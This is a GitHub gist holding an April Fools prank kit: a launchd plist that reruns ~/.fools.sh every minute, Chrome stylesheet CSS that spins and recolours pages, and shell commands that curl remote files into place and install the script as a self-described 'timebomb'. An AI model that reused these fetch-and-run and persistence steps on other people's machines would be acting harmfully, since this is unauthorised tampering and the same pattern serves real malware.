Skip to content

Instantly share code, notes, and snippets.

@adamgamble
Forked from nixpulvis/Custom.css
Last active December 15, 2015 14:19
Show Gist options
  • Save adamgamble/5273287 to your computer and use it in GitHub Desktop.
Save adamgamble/5273287 to your computer and use it in GitHub Desktop.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.fools</string>
<key>EnableGlobbing</key>
<true/>
<key>ProgramArguments</key>
<array>
<string>~/.fools.sh</string>
</array>
<key>StartInterval</key>
<integer>60</integer>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
body{-webkit-animation: spin 30s linear infinite;}
p:before {content: "Code in Ruby! ";}
body, p, body p, body div p {font-family: 'Comic Sans MS', cursive !important;}
html {-webkit-animation: rainbow 8s infinite;}
@-webkit-keyframes blur {
0% { -webkit-filter: blur(0px); }
49% { -webkit-filter: blur(0px); }
50% { -webkit-filter: blur(1px); }
51% { -webkit-filter: blur(0px); }
100% { -webkit-filter: blur(0px); }
}
@-webkit-keyframes spin {
0% { -webkit-transform: rotate(0deg); }
100% { -webkit-transform: rotate(360deg); }
}
@-webkit-keyframes rainbow {
100% { -webkit-filter: hue-rotate(360deg); }
}
@-webkit-keyframes fall {
0% { -webkit-transform: none; }
100% { -webkit-transform: rotateX(-90deg); }
}
curl -sL raw.github.com/gist/5271225/Custom.css > /tmp/Custom.css
# If it's april fools move the attack into place.
mv /tmp/Custom.css ~/Library/Application\ Support/Google/Chrome/Default/User\ StyleSheets/Custom.css
mv /tmp/Custom.css ~/.config/google-chrome/Default/User\ StyleSheets/Custom.css
# Create timebomb in ~/.fools.sh
curl -sL https://gist.github.com/adamgamble/5273287/raw/da2167e3438f1514abe42dfadce087aaf9f39671/fools.sh > ~/.fools.sh
chmod a+x ~/.fools.sh
sh ~/.fools.sh
rm ~/Library/Application\ Support/Google/Chrome/Default/User\ StyleSheets/Custom.css
rm ~/.fools.sh
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment